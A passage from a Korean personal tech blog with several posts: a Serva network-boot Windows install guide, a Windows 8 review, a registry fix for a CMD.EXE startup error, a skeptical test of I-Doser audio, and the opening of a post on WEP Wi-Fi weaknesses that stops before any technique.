크리에이티브 커먼즈 라이선스
Creative Commons License

윈도우나 리눅스 설치시 보통 DVD나 CD ROM을 사용해서 설치를 합니다. 데스크탑이라면 보통은 설치를 해서 많이들

 

사용하실 텐데요. 노트북의 경우도 좀 덩치가 있는 것들은 DVD-RW를 내장하고 있는경우가 많지만 무게,크기 경량화를 위해

 

넷북이나 울트라씬 노트북의 경우 ODD를 제공하지 않는 경우가 대부분 입니다. 그래서 외장 ODD를 구입해서 사용하거나

 

고용량 USB에 윈도우 설치 DVD내용을 복사해서 부팅하는 방법을 선택해서 설치하는 경우가 많은데요. 이 과정들이 OS종류

 

마다 다를뿐더러 GRUB등을 MBR(Master Boot Record)에 심는 작업을 해야되는 번거로움을 거쳐야 될때가 많아서 저도

 

이제까지 ODD가 없으면 많이 시도해본적이 없습니다. 그러던 중에 구형넷북에 윈도우8을 설치하면 속도가 빠르다는 소식을

 

듣고 집에서 굴러다니는 넷북에 설치를 하려는데 제가 가지고 있는 메모리스틱은 4GB밖에 안되고 그나마도 다른 자료들이

 

들어있어서 사용할 수가 없고 SATA & IDE to USB 젠더가 있어서 ODD를 떼서 연결해서 설치할순 있지만 귀찮았습니다.

 

 

 

Serva구축 구성도

 

그래서 네트워크 설치를 시도해보게 됐는데 결론부터 말하자면 정말 편합니다. 요즘 PC들에는 대부분 네트워크 부팅 기능이

 

있기때문에 BIOS나 EFI에서 네트워크 부트만 설정하면 활용이 가능합니다. 이런행위를 가능하게 하려면 두가지 준비물이

 

필요합니다.

 

준비물 : 1. 윈도우 설치 DVD or ISO(ISO를 사용한다면 가상ODD 구축 프로그램 사용필수)

2. 윈도우 설치 DVD나 ISO를 공유할 서버용 PC

3. TFTPD를 사용하는 툴(Netboot), Serva

 

보통 인터넷에서 네트워크를 통한 윈도우 설치 방법을 보면 준비물 3에 해당하는 것중에 NetBoot를 통한 설치방법이 많이

 

발견됩니다만 이 툴은 윈도우XP를 설치할때는 간편하지만 상위버전 설치시에는 설정해줘야 할것도 많고 제대로 안될때가

 

많아서 추천하고 싶지 않습니다. 저 또한 많이 시행착오를 겪었구요. 찾던중 Serva라는 다용도 서버구축 툴이 있더군요.

 

HTTP,FTP기타등등의 서버를 간편하게 구축할수 있게 해주는 툴이었습니다. 여기서 목적은 윈도우 설치이므로 툴에 대한

 

자세한 설명은 생략하고 사용방법을 써보겠습니다. 우선 아래의 파일을 다운로드 하세요.

 

Serva_Non-Supporter_32_v2.1.4.zip

Serva_Non-Supporter_64_v2.1.4.zip

 

작업을 시작하기전 본 내용은 무선랜으로는 작업할 수 없고 유선랜으로만 가능하다는것을 알립니다. 그리고 내용은 공유기를

 

사용한 환경에서의 설정만을 다룹니다. 유동IP를 사용하는 경우도 설정 가능하지만 이 부분은 제외하겠습니다.

 

우선 위의 파일중 32나 64로 되있는것을 받습니다. 저의경우 64로 되있는 버전을 사용했는데 서버로 사용되는 PC의 OS가

 

64bit 일경우 사용하시면 됩니다.

 

1. 압축해제

  압축을 해제합니다. ex) D:\Serva , 그리고 따로 폴더를 하나 생성합니다. ex) D:\ServaRoot 이 D:\ServaRoot는 네트워크

  에서 공유될 윈도우 설치 파일들이 위치할 곳으로 매우 중요합니다. 핵심은 Serva 파일이 위치할 폴더와 윈도우 설치파일들이

  위치할 폴더를 따로 생성하는 것입니다.

 

 

 

2. Serva 환경설정

  Serva는 Donation 라이센스 프로그램입니다. 위 버전들은 Non Supporter 버전으로 기능제한이 있습니다만 아무 무리 없이

  활용가능합니다.

 

 

처음 실행하면 위와 같은 화면이 뜹니다. Settings를 눌러줍니다.

 

 

 

 

위와같이 TFTP 탭의 내용을 설정해 주는데 두번째 섹션의 'Bind TFTP to this address' 부분이 중요합니다. 보통 공유기를

 

사용한다면 192.168.0.1(공유기 IP)를 GateWay로 잡고 나머지 PC들이 공유하게 되는데 (ex)192.168.0.2 이 IP를 설정해 주는

 

것으로 시작 → 실행 → CMD 에서 IPCONFIG 명령을 통해 볼 수 있습니다. 여기서는 현재 Serva를 실행한 PC의 내부IP가

 

192.168.0.2 를 사용하는것으로 가정 하겠습니다. 매우 중요한 부분이므로 잘 따라하시면 됩니다.

 

이제 TFTP Server root Directory를 설정합니다. 앞서 Serva를 설치할때 만들었던 폴더 예와 같이 설정해 주시면 됩니다.

 

후에 이 폴더에 있는 윈도우 설치 파일을 공유하여 설치가 진행됩니다. 여기서는 D:\ServaRoot로 지정하겠습니다.

 

 

 

 

이제 DHCP서버를 설정해야 합니다. DHCP Server에 체크 하시고 Service Add-On에 체크하시고 위에서 TFTP탭을 설정했듯이

 

Bind DHCP to this address항목을 192.168.0.2로 설정합니다. 아래에 보시면 IP Poll 1st addr 항목이 있는데 이건 설치대상이

 

되는 PC가 사용할 IP주소 입니다. 공유기에서 따로 범위설정을 해서 막아놓은게 없다면 대강 아무 IP나 잡아주면 될겁니다.

 

여기선 이 IP를 192.168.0.3이라고 하겠습니다. 그리고 Pool size는 10으로 해주시고 Subnet Mask는 255.255.255.0으로 설정

 

합니다. 다 되셨으면 아래의 '확인' 버튼을 누르시면 Serva를 다시 실행하라는 메시지가 뜹니다. 다시 실행하시면 되며 재실행

 

후에 우선 Serva 프로그램을 종료해 놓습니다.

 

 

 

 

처음에 Serva를 설치할때 우리는 D:\(혹은 C:\) 에 Serva, ServaRoot라는 폴더를 두개 만들었습니다. 이번에 설정할 내용은

 

ISO나 DVD롬에 있는 윈도우 설치파일을 복사할 차례입니다. 위와같이 ex)D:\ServaRoot\WIA_WDS 폴더를 공유폴더로

 

지정합니다.

 

윈도우 7,8을 서버PC로 사용한다면 설정방법이 약간 다를수 있겠으나 결과는 동일합니다. 그리고 가장 중요한 것은 공유이름을

 

반드시 WIA_WDS_SHARE로 지정 하시기 바랍니다. 확인을 눌러서 완료하시고 D:\ServaRoot\WIA_WDS 이 폴더 내에

 

마음대로 폴더를 하나 만듭니다. ex)Windows7  그리고 그 폴더(D:\ServaRoot\WIA_WDS\Windows7) 에 윈도우 설치

 

DVD나 ISO에 있는 파일을 전부 복사 해서 넣어줍니다. 숨김파일이 있을수 있으므로 숨겨진 파일을 모두 볼수 있게 해서

 

복사 하시기 바랍니다. 네트워크 부팅시 Serva를 통해 위의 폴더의 내용을 인식하여 Windows를 설치 할 수 있습니다.

 

윈도우 XP나 2000의 경우 WIA_RIS 폴더, 리눅스의 경우 NWA_PXE 폴더에 위와 같은 작업을 수행해서 설치를

 

진행할 수 있습니다.

 

 

 

작업이 완료되면 위와 같은 구조가 될 것 입니다. 이제 Serva를 실행하고 설치대상인 PC를 네트워크 부팅 시킵니다.

 

BIOS나 EFI 구성에 따라 다르겠지만 통상 F12를 누르면 네트워크 부팅이 선택됩니다. 그러나 이미 OS가 설치된 상태라면

 

무시하고 넘어갈 수 있으므로 네트워크 장치를 부팅순서 최우선 순위로 두고 부팅하는것이 좋습니다

 

 

이제까지 작업이 제대로 됐다면 Serva에서 위와같이 Windows 부트 파일을 자동으로 알아차리고 물어봅니다. 이를 응용해서

 

위에서 설정한 ex)D:\ServaRoot\WIA_WDS\ 폴더에 여러가지 윈도우 버전에 따른 설치파일들을 위치시키면 여러개의

 

버전을 골라서 설치 할 수 있습니다.

 

 

 

위와같이 Serva의 부트로더로 부팅을 진행하게 됩니다.

 

 

 

부팅이 진행되면서 위와같이 서버PC의 사용자 ID와 비밀번호를 묻는 경우가 생깁니다. 앞에서 ServaRoot 폴더를 우리는 공유

 

폴더로 지정을 했었고 서버로 사용되는 PC의 윈도우에서 사용자 계정 암호가 걸려있으면 인증을 해야 공유폴더에 접근할 수

 

있기 때문에 묻는 것입니다. 서버 PC의 현재 로그인한 계정(ID)와 비밀번호를 입력하시면 됩니다. 어려우신 분들은

 

서버PC의 사용자 계정 암호를 삭제하고 접근해보셔도 될 것 같습니다. 아무튼 저렇게 ID와 PW를 입력한뒤 Connect를 누르고

 

인증이 완료되면 윈도우 설치 DVD를 넣고 작업한것과 동일한 셋업 화면을 보시게 됩니다. 이때부터는 설치작업을 진행하시면

 

되며 설치완료후 첫 재부팅시에 Serva를 종료하시면 됩니다.

 

※주의 : 위 이미지의 인증과정에서 ERROR : 0x37 Network resource is no longer available 이라는 메시지가

 

발견될 수 있는데 이는 네트워크 부팅 과정 이후의 설치 과정에서 설치대상PC의 Ethernet(LAN) 드라이버를 찾을 수 없어서

 

생기는 오류 입니다. 대개는 자동으로 알아 차리며 제 경우에도 Realtek 칩셋을 사용하는 Ehternet 드라이버를 자동으로

 

인식했습니다. VMWare는 이상하게 되질않네요.

 

여기까지 Serva를 이용한 네트워크 부팅을 통한 윈도우 설치 방법에 대해서 알아봤습니다. OS를 설치하려는데 DVD를 넣고

 

빼는것이 귀찮은 분들, 테스트 용도로 OS를 이것저것 설치해봐야 할 경우가 많을때 Serva는 위와같이 몇가지 설정만 거치면

 

셋업서버 용도로 사용할 수도 있는 매우 유용한 툴입니다. 저도 이번에 처음 사용해 봤는데 상당히 유용해서 집에 몇가지

 

윈도우 버전을 올려서 셋업서버로 구축해둔 상태입니다. 필요하신 분들은 참고하시기 바랍니다.

 

 

 

 

신고
크리에이티브 커먼즈 라이선스
Creative Commons License

지난 10월 26일 윈도우8이 정식출시 되었습니다. 물론 관심 많으신 분들은 출시이전 컨슈머 프리뷰 버전을 통해서도

경험 해보셨을것이고 그 이전의 빌드를 설치해본 경험도 있으실 것 같습니다. 저 또한 윈도우8 개발 초기 당시인 2011년

중순께에 설치를 해봤고 시작화면의 어색함에 바로 삭제해버린 후 이번엔 정식 출시된 ProK버전을 가지고 설치를 해봤습니다.

설치과정이야 윈도우 XP이후로 거의 손댈 필요없이 간소해졌고 비슷하므로 굳이 소개하진 않겠습니다. 

일단 설치를 마친후 몇가지 자동으로 셋팅을 마친후 시작 화면이 뜹니다. 

처음에는 윈도우8이 제공하는 기본앱이 시작화면을 차지하고 있습니다. 위 화면에서는 기본 앱 몇가지를 제외하고 모두 삭제

후 기존에 사용하던 프로그램들을 설치하여 주로 사용하는 프로그램의 아이콘만 '시작화면에 고정 하기' 기능으로 고정 시킨

상태입니다. 처음에는 시작화면이 매우 어색했습니다. 또한 좌측 중간에 보이는 '데스크톱' 패널이 없다면 항상보던 바탕화면

또한 볼 수 조차 없으니 조금은 당황스러웠고 조작감도 매우 불편하게 느껴졌습니다. 하지만 설치후 어느정도 적응하고 나니

오히려 반응이 빨라서 이 화면이 맘에 들긴 하더군요. 또한 주로 쓰는 프로그램의 경우 작업표시줄에 고정 시켜서 사용하면

되므로 적응하고 나서는 꽤 유용하다고 생각 들었습니다. 다만 배치해놓은 프로그램을 어느정도 종류별로 배치 시켜서 사용

하고 싶으실텐데 가운데 화면상에서 배치하다보면 하나를 맞춰놓으면 하나가 어긋나는.. 퍼즐맞추기 하듯이 배치가 힘들어

오히려 산만하고 짜증나는 시작 메뉴로 느껴질 수도 있겠습니다.

이 시작 화면에서 빈 공간에 오른쪽 마우스 버튼을 클릭하면 우측 하단에 '앱 모두 보기' 메뉴가 나옵니다. 기존의 윈도우로

보자면 시작 버튼 → 프로그램 메뉴 내의 모든 프로그램을 보는것으로 생각하시면 됩니다.

많은 부분을 가려놓았습니다만.. 설치된 프로그램들의 목록은 다음과 같이 A~Z, 가~하 순으로 표시 됩니다. 이 메뉴는 사실

처음 보자마자 정말 부적절 하다고 생각했습니다. 바로 아래 사진과 같이 키보드만 치면 바로 검색창이 뜨기때문에 원하는

프로그램을 검색해서 사용할 수도 있지만 모든 사용자들이 항상 프로그램명을 기억하고 검색해서 사용하진 않습니다.

혹은 알고 있다고 하더라도 기존에 사용하던 패턴이라면 시작메뉴를 눌러서 프로그램을 찾아 실행하는것이 일반화 되있겠죠.

프로그램이 저렇게 난해하게 펼쳐져 있기때문에 저의 경우에는 저 메뉴를 일체 사용하지 않으며 프로그램 제거 시에만

프로그램 설치시 제공되는 언인스톨 아이콘으로 삭제하기 위해서 사용합니다.

시작화면의 '데스크톱' 패널을 누르면 위와같이 익숙한 바탕화면이 나타납니다. XP사용중 윈도우8로 업그레이드 하셨다면

이 화면도 생소 하시겠지만 윈도우7을 사용하신 분들이라면 익숙한 화면 입니다. 이제야 기존에 하던 탐색기를 통한 파일

탐색등을 할수 있겠네요. 위에서도 언급했지만 이 부분의 경우 패치가 필요하지 않나 싶습니다. '데스크톱' 패널이 한번눌린

후에는 화면의 좌측 하단에 마우스를 올리면 시작화면↔바탕화면을 전환시킬수 있으나 '데스크톱' 패널이 한번도 눌리지

않은 상태에서는 바탕화면을 볼 수 조차 없습니다. 물론 어떤 단축키 정도는 있겠지요. 아직 단축키가 있는지는 찾아보지

않았습니다.

위와 같이 우측화면의 최상단 부분에 마우스 오버시 메뉴가 하나 뜹니다. 보통 제어판에서 이뤄지던 작업의 일부분을 이곳을

통해 좀더 간단하게 할 수 있게 구성 되어 있고 직접 제어판을 호출할 수도 있습니다. 또한 우측 하단의 'PC 설정 변경' 메뉴를

통해 시작화면 앱에 관련된 설정을 할 수도 있습니다만 스마트폰에서 앱을 다운받아 설치하듯 스토어를 통해 설치된

프로그램과 윈도우8의 Metro 앱 프로그래밍 방식에 맞춰 만들어진 프로그램 외의 이전에 데스크탑에서 사용하던 프로그램의

경우는 설정 될수 있는 부분이 전혀 없습니다. 따라서 일반 프로그램들의 경우 앱 설정등은 무시하시고 그냥 사용하시면

되겠습니다. 앞으로 윈도우8의 Metro UI를 지원하는 프로그램들이 얼마나 나올지는 모르겠지만 개발자들의 입장에서는 상당히

애매한 개발 범위가 되지 않을까 싶습니다. 세번째 화면의 경우 듀얼 모니터 확장이나 디지털/아날로그 아웃풋 복제 기능등

기존의 윈도우7에서 화면해상도 메뉴에서 다중디스플레이 설정을 하던것을 메뉴로 지원해서 상당히 편리하게 느껴집니다.

PC설정 변경 화면입니다. 설정 부분을 보기에 앞서 상당히 불만인것이.. 처음에 윈도우를 설치하면 사용자 계정을 MS Hotmail

계정을 무조건 사용하도록 유도합니다. 물론 메일 계정은 아무렇게나 입력해도 상관 없습니다만 이 경우 입력한 사용자 이름

으로 사용자 폴더 (일반적으로 C:\Users\xxx) 가 생성 됩니다. 일반적으로 사용시에는 한글 폴더명이 들어가는것이

별 상관 없습니다만 가끔 이 사용자 폴더가 한글이어서 프로그램 설치시나 설정시에 문제가 생길 경우가 있어서 꺼려집니다.

처음 설치후에 윈도우8 기본 앱이나 설정(메일, 일정관리등, 동기화)이 Hotmail계정과 연동되어 사용될 수 있어서 유도하는지는

모르겠으나 선택권이 없게 만들어 버린것 같아서 불만스럽긴 하네요. 설치 후에는 로컬계정으로 변경할수 있으며 이 경우

앱 동기화 기능등은 사용할 수 없게 됩니다만.. 솔직히 윈도우 기본 어플은 아주 먼 옛날 윈도우3.1 버전 부터 지금까지 그다지

애용해본 기억이 없어서 오히려 저의 경우엔 방해가 됐습니다. 기타 설정 내용등은 별 특별한 점은 없고 PC에 익숙하지 않은

사용자가 사용하기에 괜찮은 기능으로 두번째 사진의 'PC복구','윈도우 다시 설치' 등이 큰 도움이 될 수 있겠습니다.

윈도우 비스타때의 악몽을 되살리고 싶었는지 이번에도 UAC(사용자 계정 컨트롤)기능이 기본적으로 켜져있습니다.

항상 이유야 파일 보안등을 위해서 라고 하는것이 MS의 입장이긴 합니다만 시스템적인 작업 (ex)펌웨어 업그레이드 등

이 이뤄질경우 UAC때문에 PC가 맛이 가버리는등의 위험성도 있고 설사 UAC를 끈다고 해도 완벽한 Super Administrator

권한이 있지 않아서 제일 싫어하는 부분중에 하나입니다. 수동으로 레지스트리를 변경하여 UAC를 해제하고 최고 관리자

권한을 획득할수는 있으나 이경우 윈도우 기본 Metro 앱은 사용할 수가 없습니다. 기본 앱이 크게 필요치 않다면 해제하고

쓰시는것이 좋을듯 합니다. (※주의 : 기존의 윈도우 비스타, 윈도우7의 경우의 UAC해제 방법을 그대로 윈도우8에서 사용

하시면 문제가 발생합니다.) 

윈도우8 초기 개발 발표시에 Active X사용 불가 여부로 이슈가 됐던 IE10입니다. 메트로 앱, 데스크톱용 IE로 구분되어 있으며

매트로 앱 IE 10의 경우 ActiveX가 실행되지 않습니다. 데스크톱용 IE의 경우 기존에 사용하던 ActiveX 실행이 가능하므로

염려하실 필요는 없습니다. 사진에 보시는대로 매트로 앱 IE10의 경우 IE가 실행된 상태에서 화면 가장상단에 마우스 오버시

손모양 포인터가 나오면 끌어서 바탕화면에 위치시켜 사용 할 수 있습니다. 이 기능은 큰 디스플레이를 쓰시는 분들에게

괜찮은 기능으로 생각됩니다.

윈도우8 설치후 셋팅해서 사용해 본후 간략하게 여기까지 둘러봤습니다. 일단 제 결론은 "윈도우7 사용자가 굳이 윈도우8로

돈들여서 옮겨올 필요는 없다." 입니다. 인터페이스나 UI가 바뀐점, 약간의 부가적인 기능이 추가된것 때문에 10만원 가량의

돈을 지불하고 사기에는 아까운 OS라고 생각됩니다. MS에서 기존의 타블렛 윈도우의 경쟁력을 높히기 위해 윈도우8을

제작 한것으로 보이나 데스크톱용으로 윈도우8을 쓰기엔 어색한 점이 많습니다. 첫번째로 사용자가 어떤 작업을 하는데 있어서

동선이 매우 깁니다. 터치스크린을 사용하는 것이 아닌이상 마우스를 한번이라도 더 움직여야 하고 위에서도 언급했지만

테스크톱 패널을 누르기 전엔 데스크톱 시작 화면으로 전환 조차 할 수 없습니다. 또한 난해한 전체 앱 배치화면은 아무리

검색이 가능하다고 한들 이전에 사용하던 버전의 윈도우 시작 메뉴에서 정렬된 상태의 프로그램 그룹을 선택할수 있었던것에

비해 매우 불편합니다. 그리고 저의 경우 프로그램 그룹을 따로 생성해서 사용하는 경우가 종종 있는데 이것또한 아이콘들이

저장되있는 폴더를 일일히 찾아가서 만들어야 하는 불편함이 있으며 편리하게 사용하라고 있는 단축키가 이제는 어느정도

숙지해야 하는 요소가 되버린 것 같습니다. 예를 들어 이전 윈도우에서 시작→실행 으로 명령어를 직접 넣어 실행 하던 메뉴의

단축키는 윈도우키+R 입니다. 이전에는 선택권이 있었지만 이제는 실행 메뉴도 단축키를 사용하지 않고는 찾아볼수가

없습니다. 물론 다른 기능들의 경우도 편하게 사용하기 위해선 기본 단축키 정도는 숙지해야 합니다.

ARM용으로 출시된 Windows RT의 경우 성공여부는 지켜봐야 겠지만 적어도 데스크톱 OS로서는 업그레이드 할만큼의

메리트는 그다지 없다고 볼 수 있겠습니다. 보통 MS에서는 기존 윈도우 제품군 출시후 어느정도 시간을 두고 새OS를

출시했는데 윈도우8이 이렇게 빨리 출시되는것을 보니 이제는 태블릿 시장에서의 애플, 구글을 간과할 수가 없나 보네요.

어쨋든 윈도우8을 몇일 사용해 보니 파워유저들이 사용하기엔 전작에 비해 크게 좋은점을 바라기는 힘들것 같고

(몇가지 프로그램들은 호환성 문제도 존재 합니다.)  라이트 유저의 경우에는 오히려 직관적인 인터페이스로 편리 할 수도

있겠습니다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License

예전에 도스시절에 사용했던 명령어 COMMAND.COM처럼 윈도우에서도  CMD.EXE 라는 콘솔

을 통해 윈도우 명령을 처리할때가 있습니다. 특히 포터블 프로그램들이 CMD창을 많이 사용하게

되는데 며칠전에 CMD창을 실행하니 오류코드(0xc0000142) 와 함께 실행을 할수없다는 오류를

내더군요. 어이없는건 직접 %Windir%system32  폴더에 들어가서 실행해보면 멀쩡하게 실행된다는

것입니다. 얼마전 Tiny7을 EeePC에 설치하고나서 생긴문제인데 자주쓸일은 없지만 위에서 말한것

처럼 포터블 프로그램이 CMD창을 통해 중간명령을 수행하는경우가 많아 꽤나 불편했습니다.

검색해보니 역시 뻔한답이 대부분이더군요. '바이러스 검사, 악성코드 검사, 보안패치 설치여부확인'

하긴 시도할수 있는 해결방법은 일단 저것밖에 없었습니다. 몇개씩 돌려봤지만 악성코드라던지

바이러스는 없었습니다. 하지만 재부팅을 여러번 해봐도 결과는 같았습니다. 그래서 일단 해본것이

기존 CMD 삭제후 다른 PC의 CMD를 복사해 오기로 했습니다.

(이 방법은 바이러스,악성코드에 피해를 입은 경우 적용가능합니다.)

사용자 삽입 이미지
다음과 같이  CMD.EXE에서 속성을 보시면 보안탭에 고급이 있습니다. 그냥 복사해서 붙여넣기
하려고 하면 TrustedInstaller의 권한때문에 수행할수 없다고 뜨므로 권한을 편집하기 위해서입니다.

사용자 삽입 이미지

 현재 사용자가  Administrator로 되있으므로 이 계정이 모든권한을 가질수 있도록 사용권한변경
 버튼을 눌러줍니다.

사용자 삽입 이미지

편집(Administrator) - 모든 권한에 체크해주고  OK해준뒤 기존의 CMD파일을 삭제하고 복사해

봅니다.여기까지는 실제로 CMD파일이 악성코드나 바이러스로 망가졌을때 쓸수있는 좋은 방법

입니다. 고치고 나서야 알았지만 저의 경우는 실제로 망가진것이 아니라서 이렇게 해도 전혀 변화가

없었습니다.

(0xc0000142 오류가 날경우 해결방법)

사용자 삽입 이미지

시작 - 실행 - regedit 를 실행해서

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\CodePage]

로 이동해보면 위와같이 ACP,MACCP,OEMCP,OEMHAL이 있습니다. 영문윈도우의 경우와

한글윈도우의 경우 위의 수치가 다른데 ACP는 기본 안시코드를 표현한것이고 OEMCP는

OEM기본 코드페이지를 나타냅니다. MACCP는 매킨토시 기본코드페이지를 나타내고 OEMHAL에

정의된 값은 명령프롬프트(CMD)에서 확장된 문자들에 대해 제어를 합니다. 근데 위에 보시면

ACP,OEMCP의 값이 949로 되있는데 이는 한글을 나타냅니다. Tiny7의 경우 기본적으로 영문

으로 코드페이지가 설정되있는데 한글언어팩을 적용하면 위의 수치로 바뀌게 됩니다. 저의 경우

문제는 커맨드창의 글꼴을 바꾸면서 생겼는데 일단 저의 경우외에도 이 값을 기본값으로 바꿔

준다면 이상없이 실행될것으로 예상됩니다. 그래서 일단 ACP를 1252(영문포함 웨스턴유럽어)로

바꿔주고 OEMCP값을 Windows NT 계열의 OS에서 쓰이는 기본 DOS 437로 바꿔줍니다.

바꿔준뒤 재부팅 하면 커맨드창이 제대로 실행되는것을 보실수 있습니다.

사용자 삽입 이미지

재시작후 CMD창이 제대로 실행되는것을 확인한뒤 다시 ACP,OEMCP 수치를 949로 바꾸고 재부팅후

커맨드창의 속성을 확인하시면 위와같이 현재 코드 페이지가 949로 되있는것을 확인할수 있습니다.

신고
크리에이티브 커먼즈 라이선스
Creative Commons License
최근에 인위적인 뇌파조절로 실제로 마약을 사용한듯한 효과를 줄수 있다는 아이도저社에서

서비스 중인 음원을 구해서 체험해봤습니다. 일단 많은 인터넷 신문기사들이 알리는

아이도저의 효능(?)은 다음과 같습니다.

‘아이도저(I-Doser)’라는 사이트를 통해 유통되고 있는 이 사이버 마약은 마음을 평온하게 하는 알파 파장(7∼13헤르츠.Hz)과 지각과 꿈의 경계상태로 불리는 세타파(4∼8Hz), 긴장, 흥분 등의 효과를 내는 베타파(14∼30Hz) 등 각 주파수의 특성을 이용해 사실상 환각 상태에 빠져들게 하는 바이노럴 비트(Binaural Beat) 원리를 이용한 것으로 알려졌다.

아이도저 사이트는 항불안성, 항우울성, 마약성, 진정제, 성적흥분 등 모두 10개 부문으로 나눠 73개의 아이도저 MP3 파일을 제공하고 있다. 특히 마약성 부문에서는 코카인, 헤로인, 마리화나 등 모두 28가지의 마약을 느낄 수 있는 파일이 제공된다. 각 항목을 클릭하면 해당 마약을 흡입한 것과 같은 환각에 빠지게 해준다는 주파수가 10∼45분 가량 흘러나온다.

아이도저 사이트는 “수많은 임상실험을 통과한 제품들이기 때문에 매우 안전하며 해외에서 최고 몇십달러에 판매되고 있다”며 “뇌파를 조정해 실제 마약류의 10분의 1정도에 해당하는 시간만 가상체험 상태가 유지되므로 중독과는 전혀 무관하다”고 주장하고 있다.


사용자 삽입 이미지

저의 경우는 기사가 퍼지기 몇일전쯤 해외사이트를 검색하다가 우연히 아이도저를 알게되었는데

MP3파일로 배포되고 있는곳을 많이 봤습니다. 흔히듣는 MP3의 경우 손실압축포맷을 사용하는데

사람이 청각으로 크게 인식하지 못하는 부분을 버리고 다시 표현한것이라 보시면 되겠습니다.

때문에 이러한 특정 주파수의 영향을 받을수 있는 음원의 경우 MP3으로 재생산했을때 별다른

영향을 못받을수 있다는것인데 어쨋든간에 한번 들어나 보자 싶어서 들어봤습니다.

(참고로 제가 들어본것은 아이도저에서 서비스하고 있는 원음입니다.)

우선 들어본 소감부터..
사용자 삽입 이미지
엠씨스퀘어네..ㅡㅡ;

제가 중학생일때 집에서 당시 40만원에 가까운 돈을 주고 구입한걸로 기억하는 엠씨스퀘어 초기

모델입니다. 지금은 중고로 8만원가량 하네요.. 요놈은 누굴 빌려줬다 잃어버렸는지 이사오면서

없어졌는지 자취를 감춘상태입니다. 엠씨 스퀘어도 아이도저의 마약복용효과처럼 뇌파자극의

효과로 집중력을 높혀주고 숙면을 유도하는 기능이 있다고 알려져 있습니다. 잠시 주제를 벗어나서

엠씨스퀘어에 관한 제 경험은 한 반년간 꾸준히 썼었습니다만 학습기능을 켜도 잠이오고 숙면기능을

켜도 잠이오고...;; 큰 효과를 봤다는 애들도 많은데 나는 뭐가 안맞나 싶어서 외면하다가

결국 어디론가 사라져 버렸네요. (공부잘하고 싶다고 조르고 졸라서 샀다가 없어져서 죽을뻔..ㅡㅡ;)
사용자 삽입 이미지

다시 주제로 돌아와서 아이도저를 체험해보기위해 많이들 들어봤을 마약의 종류인

마리화나를 체험해 보기로 하고 들어봤습니다. (음원의 경우 LSD,코카인,헤로인,진통제,각성제
 
 항우울제,불안방지 등의 효과를 느낄수 있게 구성되어 있습니다.)

.....?

해외 유저들사이에선 의견이 분분한데 어떤 사람들은 '큰 효과가 있었다' 어떤 사람들은 '뭐야 이거'

등등 다양했습니다. 어떤 사람은 아예 어떤 곡을 들었을때 떵 마렵다고하기도.. ㅋㅋㅋㅋ

여러번 들어봐야 느낌을 받을수 있다고 하고 스피커보다는 이어폰으로 들어야 효과가 있다고 해서

스무번쯤 들어봤지만.. 결과는 똑같더군요. 어떤사람들은 어떤 파일을 듣다보니 온몸이 짜릿해지는

기분이 든다고 하기도 하는데 결국 개인적인 차이가 큰것 같습니다. 저의 경우에는 별다른 효과를

못느꼈지만 이러한 사이버마약이 서비스 되고 있다는것은 상당히 위험하다고 생각합니다.

전문가가 아니라서 딱히 어느점이 좋지 않다라고 꼬집을수는 없지만 성인보다는 어린학생들에게는

위험할수도 있겠다는 생각이 들더군요.

사용자 삽입 이미지

난데없이 왠 포켓몬스터냐 할수 있는데 예전 97년도 후반에 일본에서 TV로 방영되는 포켓몬시리즈를

방청하던 어린이들이 기절이나 경련을 일으켜서 병원에 실려가는 사태가 생긴적이 있었습니다.

찾아본 기사에서는 전국 23개 지역에서 550명 이상에게 이런일이 생겼는데 이는 폭발신에서

빨강,파랑,흰색으로 5초간 100회이상의 빛이 점멸하는 색채교차로 긴박감을 높히는 기법과 강한

빛을 방사시키는 기법을 조화하는 연출방식때문이었다고 합니다. 이 사건만봐서는 시각적인

부분에서만 문제가 발생한것이 아니냐 할수있겠지만 어느정도 과장은 섞였을지 몰라도 글루미

선데이라는 곡을 듣고 자살한 사람들을 보면 음향이 미치는 효과도 어느정도 존재하지

않은가 싶습니다. 뇌파를 자극하는 엠씨스퀘어의 효과가 개인별로 다르듯 아이도저의 효과도

사람마다 다를것이고 효과를 얻을수 있는 사용자중에 어린학생들이 있다면 큰 문제가 아닐까

싶습니다. 저도 어릴적 그랬고 하지말라고 혼내도 걸레에 엎어져 자고 있는 우리집 강아지도 그렇고

다른 많은분들도 어릴적에 하지말라는건 골라서 하고싶어했던 심리가 지금 아이들이라고 다르지

않을텐데 아직 뇌의 성장이 끝나지 않은 어린학생들이 아이도저의 영향을 받지나 않을까 싶어

걱정스럽습니다. 인터넷에서 아이도저를 구할수 있는방법을 모두 막을수는 없겠지만 적어도

국내의 웹하드등을 통해 퍼지고 있는 이런 사이버 마약은 모두 규제가 됐으면 하는 바램이네요.
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
인터넷 혹은 컴퓨터 몇대간의 근거리 통신망은 갈수록 우리생활에서 떼놓기 어려운 존재가

되가고 있습니다. 2000년 초반부터 급격히 유선 인터넷망이 성장해오면서 KT에서 내놓은 무선

인터넷 서비스인 네스팟이 출현했었는데요. 우리나라의 경우 다른 큰 국가들에 비해 토지면적이 작기

때문에 유선망이 워낙에 잘되있어서 네스팟이 빛을 발휘하지 못하고 있습니다. (대학교를 중심으로

많이 설치됐었는데 이또한 제가 보기엔 찬밥신세를 면하지 못하는듯 싶네요.) 지금의 경우

서울,수도권지역은 와이브로서비스로 원활한 인터넷 서비스를 즐길수는 있지만 문제는 금액이죠.

집에서 하루종일 켜놓고 인터넷 쓰는것 처럼 와이브로 서비스를 사용한다면 집안 거덜낼수

있습니다. 사설이 좀 길어졌는데 이렇게 무선인터넷망도 조금씩 발전해오면서 몇년전부터

가정에서 무선인터넷 서비스를 이용하는 경우가 많아지고 있습니다. 그리고 집에 컴퓨터가

두대 이상인 가정이 생겨나면서 자연스레 유무선공유기도 많이 사용되고 있는데요.

그래서 무선인터넷이 왜 아직은 보안상의 문제가 있는지 써보려 합니다.

현재 무선통신시 많이 사용되는 암호화 프로토콜로는 WEP(Wired Equivalent Privacy)와 WPA

(Wifi Protected Access)등이 있습니다. 이 두 프로토콜의 개념등은 저도 네트워크 분야로는

자세히 모를뿐더러 이글의 주제와는 별상관이 없으니 그냥 '이런게 있구나' 라고만

알아두시면 됩니다. 이글에서는 WEP 프로토콜의 위험성에 대해 쓰겠습니다.

구글등에서 WEP해킹 또는 WPA해킹등으로 검색해보면 수많은 해킹관련 자료와 문서들을

볼수있습니다. 여기서 말하는 WEP해킹이나 WPA해킹으로 여러가지 피해가 발생할수 있겠지만

